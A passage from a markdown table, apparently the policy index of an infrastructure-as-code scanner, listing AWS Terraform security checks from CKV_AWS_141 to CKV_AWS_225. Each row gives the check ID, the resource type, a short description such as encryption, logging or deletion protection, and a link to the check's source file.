[RDSClusterEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncrypted.py)                                                                                         |\n|  224 | CKV_AWS_141     | resource | aws_redshift_cluster                                             | Ensured that Redshift cluster allowing version upgrade by default                                                                                                                                        | Terraform | [RedshiftClusterAllowVersionUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAllowVersionUpgrade.py)                                                           |\n|  225 | CKV_AWS_142     | resource | aws_redshift_cluster                                             | Ensure that Redshift cluster is encrypted by KMS                                                                                                                                                         | Terraform | [RedshiftClusterKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterKMSKey.py)                                                                                     |\n|  226 | CKV_AWS_143     | resource | aws_s3_bucket                                                    | Ensure that S3 bucket has lock configuration enabled by default                                                                                                                                          | Terraform | [S3BucketObjectLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectLock.py)                                                                                           |\n|  227 | CKV_AWS_144     | resource | aws_s3_bucket                                                    | Ensure that S3 bucket has cross-region replication enabled                                                                                                                                               | Terraform | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml)                                                       |\n|  228 | CKV_AWS_144     | resource | aws_s3_bucket_replication_configuration                          | Ensure that S3 bucket has cross-region replication enabled                                                                                                                                               | Terraform | [S3BucketReplicationConfiguration.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketReplicationConfiguration.yaml)                                                       |\n|  229 | CKV_AWS_145     | resource | aws_s3_bucket                                                    | Ensure that S3 buckets are encrypted with KMS by default                                                                                                                                                 | Terraform | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml)                                                                         |\n|  230 | CKV_AWS_145     | resource | aws_s3_bucket_server_side_encryption_configuration               | Ensure that S3 buckets are encrypted with KMS by default                                                                                                                                                 | Terraform | [S3KMSEncryptedByDefault.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3KMSEncryptedByDefault.yaml)                                                                         |\n|  231 | CKV_AWS_146     | resource | aws_db_cluster_snapshot                                          | Ensure that RDS database cluster snapshot is encrypted                                                                                                                                                   | Terraform | [RDSClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterSnapshotEncrypted.py)                                                                         |\n|  232 | CKV_AWS_147     | resource | aws_codebuild_project                                            | Ensure that CodeBuild projects are encrypted using CMK                                                                                                                                                   | Terraform | [CodebuildUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildUsesCMK.py)                                                                                               |\n|  233 | CKV_AWS_148     | resource | aws_default_vpc                                                  | Ensure no default VPC is planned to be provisioned                                                                                                                                                       | Terraform | [VPCDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCDefaultNetwork.py)                                                                                             |\n|  234 | CKV_AWS_149     | resource | aws_secretsmanager_secret                                        | Ensure that Secrets Manager secret is encrypted using KMS CMK                                                                                                                                            | Terraform | [SecretManagerSecretEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecretEncrypted.py)                                                                       |\n|  235 | CKV_AWS_150     | resource | aws_alb                                                          | Ensure that Load Balancer has deletion protection enabled                                                                                                                                                | Terraform | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py)                                                                                       |\n|  236 | CKV_AWS_150     | resource | aws_lb                                                           | Ensure that Load Balancer has deletion protection enabled                                                                                                                                                | Terraform | [LBDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBDeletionProtection.py)                                                                                       |\n|  237 | CKV_AWS_152     | resource | aws_alb                                                          | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled                                                                                                                        | Terraform | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py)                                                                                                         |\n|  238 | CKV_AWS_152     | resource | aws_lb                                                           | Ensure that Load Balancer (Network/Gateway) has cross-zone load balancing enabled                                                                                                                        | Terraform | [LBCrossZone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBCrossZone.py)                                                                                                         |\n|  239 | CKV_AWS_153     | resource | aws_autoscaling_group                                            | Autoscaling groups should supply tags to launch configurations                                                                                                                                           | Terraform | [AutoScalingTagging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingTagging.py)                                                                                           |\n|  240 | CKV_AWS_154     | resource | aws_redshift_cluster                                             | Ensure Redshift is not deployed outside of a VPC                                                                                                                                                         | Terraform | [RedshiftInEc2ClassicMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftInEc2ClassicMode.py)                                                                               |\n|  241 | CKV_AWS_155     | resource | aws_workspaces_workspace                                         | Ensure that Workspace user volumes are encrypted                                                                                                                                                         | Terraform | [WorkspaceUserVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceUserVolumeEncrypted.py)                                                                       |\n|  242 | CKV_AWS_156     | resource | aws_workspaces_workspace                                         | Ensure that Workspace root volumes are encrypted                                                                                                                                                         | Terraform | [WorkspaceRootVolumeEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WorkspaceRootVolumeEncrypted.py)                                                                       |\n|  243 | CKV_AWS_157     | resource | aws_db_instance                                                  | Ensure that RDS instances have Multi-AZ enabled                                                                                                                                                          | Terraform | [RDSMultiAZEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSMultiAZEnabled.py)                                                                                             |\n|  244 | CKV_AWS_158     | resource | aws_cloudwatch_log_group                                         | Ensure that CloudWatch Log Group is encrypted by KMS                                                                                                                                                     | Terraform | [CloudWatchLogGroupKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupKMSKey.py)                                                                               |\n|  245 | CKV_AWS_159     | resource | aws_athena_workgroup                                             | Ensure that Athena Workgroup is encrypted                                                                                                                                                                | Terraform | [AthenaWorkgroupEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupEncryption.py)                                                                             |\n|  246 | CKV_AWS_160     | resource | aws_timestreamwrite_database                                     | Ensure that Timestream database is encrypted with KMS CMK                                                                                                                                                | Terraform | [TimestreamDatabaseKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TimestreamDatabaseKMSKey.py)                                                                               |\n|  247 | CKV_AWS_161     | resource | aws_db_instance                                                  | Ensure RDS database has IAM authentication enabled                                                                                                                                                       | Terraform | [RDSIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSIAMAuthentication.py)                                                                                       |\n|  248 | CKV_AWS_162     | resource | aws_rds_cluster                                                  | Ensure RDS cluster has IAM authentication enabled                                                                                                                                                        | Terraform | [RDSClusterIAMAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterIAMAuthentication.py)                                                                         |\n|  249 | CKV_AWS_163     | resource | aws_ecr_repository                                               | Ensure ECR image scanning on push is enabled                                                                                                                                                             | Terraform | [ECRImageScanning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImageScanning.py)                                                                                               |\n|  250 | CKV_AWS_164     | resource | aws_transfer_server                                              | Ensure Transfer Server is not exposed publicly.                                                                                                                                                          | Terraform | [TransferServerIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerIsPublic.py)                                                                                   |\n|  251 | CKV_AWS_165     | resource | aws_dynamodb_global_table                                        | Ensure DynamoDB point in time recovery (backup) is enabled for global tables                                                                                                                             | Terraform | [DynamoDBGlobalTableRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBGlobalTableRecovery.py)                                                                         |\n|  252 | CKV_AWS_166     | resource | aws_backup_vault                                                 | Ensure Backup Vault is encrypted at rest using KMS CMK                                                                                                                                                   | Terraform | [BackupVaultEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BackupVaultEncrypted.py)                                                                                       |\n|  253 | CKV_AWS_167     | resource | aws_glacier_vault                                                | Ensure Glacier Vault access policy is not public by only allowing specific services or principals to access it                                                                                           | Terraform | [GlacierVaultAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlacierVaultAnyPrincipal.py)                                                                               |\n|  254 | CKV_AWS_168     | resource | aws_sqs_queue                                                    | Ensure SQS queue policy is not public by only allowing specific services or principals to access it                                                                                                      | Terraform | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py)                                                                           |\n|  255 | CKV_AWS_168     | resource | aws_sqs_queue_policy                                             | Ensure SQS queue policy is not public by only allowing specific services or principals to access it                                                                                                      | Terraform | [SQSQueuePolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueuePolicyAnyPrincipal.py)                                                                           |\n|  256 | CKV_AWS_169     | resource | aws_sns_topic_policy                                             | Ensure SNS topic policy is not public by only allowing specific services or principals to access it                                                                                                      | Terraform | [SNSTopicPolicyAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicPolicyAnyPrincipal.py)                                                                           |\n|  257 | CKV_AWS_170     | resource | aws_qldb_ledger                                                  | Ensure QLDB ledger permissions mode is set to STANDARD                                                                                                                                                   | Terraform | [QLDBLedgerPermissionsMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerPermissionsMode.py)                                                                             |\n|  258 | CKV_AWS_171     | resource | aws_emr_security_configuration                                   | Ensure EMR Cluster security configuration encryption is using SSE-KMS                                                                                                                                    | Terraform | [EMRClusterIsEncryptedKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterIsEncryptedKMS.py)                                                                               |\n|  259 | CKV_AWS_172     | resource | aws_qldb_ledger                                                  | Ensure QLDB ledger has deletion protection enabled                                                                                                                                                       | Terraform | [QLDBLedgerDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/QLDBLedgerDeletionProtection.py)                                                                       |\n|  260 | CKV_AWS_173     | resource | aws_lambda_function                                              | Check encryption settings for Lambda environmental variable                                                                                                                                              | Terraform | [LambdaEnvironmentEncryptionSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentEncryptionSettings.py)                                                         |\n|  261 | CKV_AWS_174     | resource | aws_cloudfront_distribution                                      | Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher                                                                                                                            | Terraform | [CloudfrontTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontTLS12.py)                                                                                                 |\n|  262 | CKV_AWS_175     | resource | aws_waf_web_acl                                                  | Ensure WAF has associated rules                                                                                                                                                                          | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py)                                                                                                   |\n|  263 | CKV_AWS_175     | resource | aws_wafregional_web_acl                                          | Ensure WAF has associated rules                                                                                                                                                                          | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py)                                                                                                   |\n|  264 | CKV_AWS_175     | resource | aws_wafv2_web_acl                                                | Ensure WAF has associated rules                                                                                                                                                                          | Terraform | [WAFHasAnyRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasAnyRules.py)                                                                                                   |\n|  265 | CKV_AWS_176     | resource | aws_waf_web_acl                                                  | Ensure Logging is enabled for WAF Web Access Control Lists                                                                                                                                               | Terraform | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py)                                                                                                           |\n|  266 | CKV_AWS_176     | resource | aws_wafregional_web_acl                                          | Ensure Logging is enabled for WAF Web Access Control Lists                                                                                                                                               | Terraform | [WAFHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFHasLogs.py)                                                                                                           |\n|  267 | CKV_AWS_177     | resource | aws_kinesis_video_stream                                         | Ensure Kinesis Video Stream is encrypted by KMS using a customer managed Key (CMK)                                                                                                                       | Terraform | [KinesisVideoEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisVideoEncryptedWithCMK.py)                                                                       |\n|  268 | CKV_AWS_178     | resource | aws_fsx_ontap_file_system                                        | Ensure fx ontap file system is encrypted by KMS using a customer managed Key (CMK)                                                                                                                       | Terraform | [FSXOntapFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOntapFSEncryptedWithCMK.py)                                                                           |\n|  269 | CKV_AWS_179     | resource | aws_fsx_windows_file_system                                      | Ensure FSX Windows filesystem is encrypted by KMS using a customer managed Key (CMK)                                                                                                                     | Terraform | [FSXWindowsFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXWindowsFSEncryptedWithCMK.py)                                                                       |\n|  270 | CKV_AWS_180     | resource | aws_imagebuilder_component                                       | Ensure Image Builder component is encrypted by KMS using a customer managed Key (CMK)                                                                                                                    | Terraform | [ImagebuilderComponentEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderComponentEncryptedWithCMK.py)                                                     |\n|  271 | CKV_AWS_181     | resource | aws_s3_object_copy                                               | Ensure S3 Object Copy is encrypted by KMS using a customer managed Key (CMK)                                                                                                                             | Terraform | [S3ObjectCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ObjectCopyEncryptedWithCMK.py)                                                                       |\n|  272 | CKV_AWS_182     | resource | aws_docdb_cluster                                                | Ensure DocumentDB is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                 | Terraform | [DocDBEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryptedWithCMK.py)                                                                                     |\n|  273 | CKV_AWS_183     | resource | aws_ebs_snapshot_copy                                            | Ensure EBS Snapshot Copy is encrypted by KMS using a customer managed Key (CMK)                                                                                                                          | Terraform | [EBSSnapshotCopyEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSSnapshotCopyEncryptedWithCMK.py)                                                                 |\n|  274 | CKV_AWS_184     | resource | aws_efs_file_system                                              | Ensure resource is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                   | Terraform | [EFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSFileSystemEncryptedWithCMK.py)                                                                     |\n|  275 | CKV_AWS_185     | resource | aws_kinesis_stream                                               | Ensure Kinesis Stream is encrypted by KMS using a customer managed Key (CMK)                                                                                                                             | Terraform | [KinesisStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptedWithCMK.py)                                                                     |\n|  276 | CKV_AWS_186     | resource | aws_s3_bucket_object                                             | Ensure S3 bucket Object is encrypted by KMS using a customer managed Key (CMK)                                                                                                                           | Terraform | [S3BucketObjectEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BucketObjectEncryptedWithCMK.py)                                                                   |\n|  277 | CKV_AWS_187     | resource | aws_sagemaker_domain                                             | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Terraform | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py)                                                                 |\n|  278 | CKV_AWS_187     | resource | aws_sagemaker_notebook_instance                                  | Ensure Sagemaker domain and notebook instance are encrypted by KMS using a customer managed Key (CMK)                                                                                                    | Terraform | [SagemakerDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDomainEncryptedWithCMK.py)                                                                 |\n|  279 | CKV_AWS_189     | resource | aws_ebs_volume                                                   | Ensure EBS Volume is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                 | Terraform | [EBSVolumeEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSVolumeEncryptedWithCMK.py)                                                                             |\n|  280 | CKV_AWS_190     | resource | aws_fsx_lustre_file_system                                       | Ensure lustre file systems is encrypted by KMS using a customer managed Key (CMK)                                                                                                                        | Terraform | [LustreFSEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LustreFSEncryptedWithCMK.py)                                                                               |\n|  281 | CKV_AWS_191     | resource | aws_elasticache_replication_group                                | Ensure ElastiCache replication group is encrypted by KMS using a customer managed Key (CMK)                                                                                                              | Terraform | [ElasticacheReplicationGroupEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptedWithCMK.py)                                         |\n|  282 | CKV_AWS_192     | resource | aws_wafv2_web_acl                                                | Ensure WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                                          | Terraform | [WAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFACLCVE202144228.py)                                                                                           |\n|  283 | CKV_AWS_193     | resource | aws_appsync_graphql_api                                          | Ensure AppSync has Logging enabled                                                                                                                                                                       | Terraform | [AppSyncLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncLogging.py)                                                                                                   |\n|  284 | CKV_AWS_194     | resource | aws_appsync_graphql_api                                          | Ensure AppSync has Field-Level logs enabled                                                                                                                                                              | Terraform | [AppSyncFieldLevelLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppSyncFieldLevelLogs.py)                                                                                     |\n|  285 | CKV_AWS_195     | resource | aws_glue_crawler                                                 | Ensure Glue component has a security configuration associated                                                                                                                                            | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                               |\n|  286 | CKV_AWS_195     | resource | aws_glue_dev_endpoint                                            | Ensure Glue component has a security configuration associated                                                                                                                                            | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                               |\n|  287 | CKV_AWS_195     | resource | aws_glue_job                                                     | Ensure Glue component has a security configuration associated                                                                                                                                            | Terraform | [GlueSecurityConfigurationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py)                                                               |\n|  288 | CKV_AWS_196     | resource | aws_elasticache_security_group                                   | Ensure no aws_elasticache_security_group resources exist                                                                                                                                                 | Terraform | [ElasticacheHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheHasSecurityGroup.py)                                                                         |\n|  289 | CKV_AWS_197     | resource | aws_mq_broker                                                    | Ensure MQ Broker Audit logging is enabled                                                                                                                                                                | Terraform | [MQBrokerAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerAuditLogging.py)                                                                                       |\n|  290 | CKV_AWS_198     | resource | aws_db_security_group                                            | Ensure no aws_db_security_group resources exist                                                                                                                                                          | Terraform | [RDSHasSecurityGroup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSHasSecurityGroup.py)                                                                                         |\n|  291 | CKV_AWS_199     | resource | aws_imagebuilder_distribution_configuration                      | Ensure Image Builder Distribution Configuration encrypts AMI's using KMS - a customer managed Key (CMK)                                                                                                  | Terraform | [ImagebuilderDistributionConfigurationEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderDistributionConfigurationEncryptedWithCMK.py)                     |\n|  292 | CKV_AWS_200     | resource | aws_imagebuilder_image_recipe                                    | Ensure that Image Recipe EBS Disk are encrypted with CMK                                                                                                                                                 | Terraform | [ImagebuilderImageRecipeEBSEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ImagebuilderImageRecipeEBSEncrypted.py)                                                         |\n|  293 | CKV_AWS_201     | resource | aws_memorydb_cluster                                             | Ensure MemoryDB is encrypted at rest using KMS CMKs                                                                                                                                                      | Terraform | [MemoryDBEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBEncryptionWithCMK.py)                                                                             |\n|  294 | CKV_AWS_202     | resource | aws_memorydb_cluster                                             | Ensure MemoryDB data is encrypted in transit                                                                                                                                                             | Terraform | [MemoryDBClusterIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBClusterIntransitEncryption.py)                                                           |\n|  295 | CKV_AWS_203     | resource | aws_fsx_openzfs_file_system                                      | Ensure resource is encrypted by KMS using a customer managed Key (CMK)                                                                                                                                   | Terraform | [FSXOpenZFSFileSystemEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/FSXOpenZFSFileSystemEncryptedWithCMK.py)                                                       |\n|  296 | CKV_AWS_204     | resource | aws_ami                                                          | Ensure AMIs are encrypted using KMS CMKs                                                                                                                                                                 | Terraform | [AMIEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMIEncryption.py)                                                                                                     |\n|  297 | CKV_AWS_205     | resource | aws_ami_launch_permission                                        | Ensure to Limit AMI launch Permissions                                                                                                                                                                   | Terraform | [AMILaunchIsShared.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMILaunchIsShared.py)                                                                                             |\n|  298 | CKV_AWS_206     | resource | aws_api_gateway_domain_name                                      | Ensure API Gateway Domain uses a modern security Policy                                                                                                                                                  | Terraform | [APIGatewayDomainNameTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDomainNameTLS.py)                                                                                 |\n|  299 | CKV_AWS_207     | resource | aws_mq_broker                                                    | Ensure MQ Broker minor version updates are enabled                                                                                                                                                       | Terraform | [MQBrokerMinorAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerMinorAutoUpgrade.py)                                                                               |\n|  300 | CKV_AWS_208     | resource | aws_mq_broker                                                    | Ensure MQ Broker version is current                                                                                                                                                                      | Terraform | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py)                                                                                                 |\n|  301 | CKV_AWS_208     | resource | aws_mq_configuration                                             | Ensure MQ Broker version is current                                                                                                                                                                      | Terraform | [MQBrokerVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerVersion.py)                                                                                                 |\n|  302 | CKV_AWS_209     | resource | aws_mq_broker                                                    | Ensure MQ broker encrypted by KMS using a customer managed Key (CMK)                                                                                                                                     | Terraform | [MQBrokerEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerEncryptedWithCMK.py)                                                                               |\n|  303 | CKV_AWS_210     | resource | aws_batch_job_definition                                         | Batch job does not define a privileged container                                                                                                                                                         | Terraform | [BatchJobIsNotPrivileged.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BatchJobIsNotPrivileged.py)                                                                                 |\n|  304 | CKV_AWS_211     | resource | aws_db_instance                                                  | Ensure RDS uses a modern CaCert                                                                                                                                                                          | Terraform | [RDSCACertIsRecent.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSCACertIsRecent.py)                                                                                             |\n|  305 | CKV_AWS_212     | resource | aws_dms_replication_instance                                     | Ensure DMS replication instance is encrypted by KMS using a customer managed Key (CMK)                                                                                                                   | Terraform | [DMSReplicationInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceEncryptedWithCMK.py)                                                   |\n|  306 | CKV_AWS_213     | resource | aws_load_balancer_policy                                         | Ensure ELB Policy uses only secure protocols                                                                                                                                                             | Terraform | [ELBPolicyUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBPolicyUsesSecureProtocols.py)                                                                       |\n|  307 | CKV_AWS_214     | resource | aws_appsync_api_cache                                            | Ensure AppSync API Cache is encrypted at rest                                                                                                                                                            | Terraform | [AppsyncAPICacheEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionAtRest.py)                                                                 |\n|  308 | CKV_AWS_215     | resource | aws_appsync_api_cache                                            | Ensure AppSync API Cache is encrypted in transit                                                                                                                                                         | Terraform | [AppsyncAPICacheEncryptionInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppsyncAPICacheEncryptionInTransit.py)                                                           |\n|  309 | CKV_AWS_216     | resource | aws_cloudfront_distribution                                      | Ensure CloudFront distribution is enabled                                                                                                                                                                | Terraform | [CloudfrontDistributionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEnabled.py)                                                                     |\n|  310 | CKV_AWS_217     | resource | aws_api_gateway_deployment                                       | Ensure Create before destroy for API deployments                                                                                                                                                         | Terraform | [APIGatewayDeploymentCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayDeploymentCreateBeforeDestroy.py)                                                 |\n|  311 | CKV_AWS_218     | resource | aws_cloudsearch_domain                                           | Ensure that CloudSearch is using latest TLS                                                                                                                                                              | Terraform | [CloudsearchDomainTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainTLS.py)                                                                                       |\n|  312 | CKV_AWS_219     | resource | aws_codepipeline                                                 | Ensure CodePipeline Artifact store is using a KMS CMK                                                                                                                                                    | Terraform | [CodePipelineArtifactsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodePipelineArtifactsEncrypted.py)                                                                   |\n|  313 | CKV_AWS_220     | resource | aws_cloudsearch_domain                                           | Ensure that CloudSearch is using https                                                                                                                                                                   | Terraform | [CloudsearchDomainEnforceHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudsearchDomainEnforceHttps.py)                                                                     |\n|  314 | CKV_AWS_221     | resource | aws_codeartifact_domain                                          | Ensure CodeArtifact Domain is encrypted by KMS using a customer managed Key (CMK)                                                                                                                        | Terraform | [CodeArtifactDomainEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeArtifactDomainEncryptedWithCMK.py)                                                           |\n|  315 | CKV_AWS_222     | resource | aws_dms_replication_instance                                     | Ensure DMS replication instance gets all minor upgrade automatically                                                                                                                                     | Terraform | [DMSReplicationInstanceMinorUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstanceMinorUpgrade.py)                                                           |\n|  316 | CKV_AWS_223     | resource | aws_ecs_cluster                                                  | Ensure ECS Cluster enables logging of ECS Exec                                                                                                                                                           | Terraform | [ECSClusterLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEnabled.py)                                                                               |\n|  317 | CKV_AWS_224     | resource | aws_ecs_cluster                                                  | Ensure ECS Cluster logging is enabled and client to container communication uses CMK                                                                                                                     | Terraform | [ECSClusterLoggingEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterLoggingEncryptedWithCMK.py)                                                             |\n|  318 | CKV_AWS_225     | resource | aws_api_gateway_method_settings                                  | Ensure API Gateway method setting caching is enabled                                                                                                                                                     | Terraform | 